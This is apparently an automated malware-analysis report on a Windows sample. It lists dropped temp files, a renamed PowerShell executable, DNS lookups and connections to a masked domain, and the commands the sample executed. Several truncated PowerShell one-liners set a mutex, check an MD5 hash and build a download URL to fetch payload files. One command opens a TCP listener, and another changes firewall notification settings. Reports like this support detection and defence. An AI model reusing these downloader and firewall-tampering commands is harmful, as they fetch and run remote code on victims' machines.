Technical Information
Malicious functions
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\obdplfy.exe' -
Modifies file system
Creates the following files
- %TEMP%\kr.bin
- %TEMP%\lyrqhbaf.0.cs
- %TEMP%\lyrqhbaf.cmdline
- %TEMP%\lyrqhbaf.out
- %TEMP%\m6.bin
- %TEMP%\if.bin
Network activity
Connects to
- 'localhost':43669
- 'd.###wjdu.com':80
UDP
- DNS ASK p.##9kq.com
- DNS ASK d.###wjdu.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lyrqhbaf.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7262.tmp" "%TEMP%\CSC7242.tmp"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='1094aa3e631c8e0c3cbecb3cd3714289';$ifp=$env:tmp+'\if.bin';$down_url='http://d.#####...
- '<SYSTEM32>\cmd.exe' /c echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='32390a001e1207eafdd66e35c55aa9d3';$ifp=$env:tmp+'\m6.bin';$down_url='http://d.##...
- '<SYSTEM32>\cmd.exe' /c echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='b7a1cfd74661361f71856388dac5aaa6';$ifp=$env:tmp+'\kr.bin';$down_url='http://d.#####...
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='1094aa3e631c8e0c3cbecb3cd3714289';$ifp=$env:tmp+'\if.bin';$down_url='http://...
- '<SYSTEM32>\cmd.exe' /c echo try{$s=[System.Net.Sockets.TcpListener]65529;$s.start();while(1){}}catch{}|ObdPLFY.exe -
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='32390a001e1207eafdd66e35c55aa9d3';$ifp=$env:tmp+'\m6.bin';$down_url='http...
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='b7a1cfd74661361f71856388dac5aaa6';$ifp=$env:tmp+'\kr.bin';$down_url='http://...
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$s=[System.Net.Sockets.TcpListener]65529;$s.start();while(1){}}catch{}"
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "<SYSTEM32>\windowspowershell\v1....
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lyrqhbaf.cmdline"
- '<SYSTEM32>\netstat.exe' -anop TCP
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7262.tmp" "%TEMP%\CSC7242.tmp"
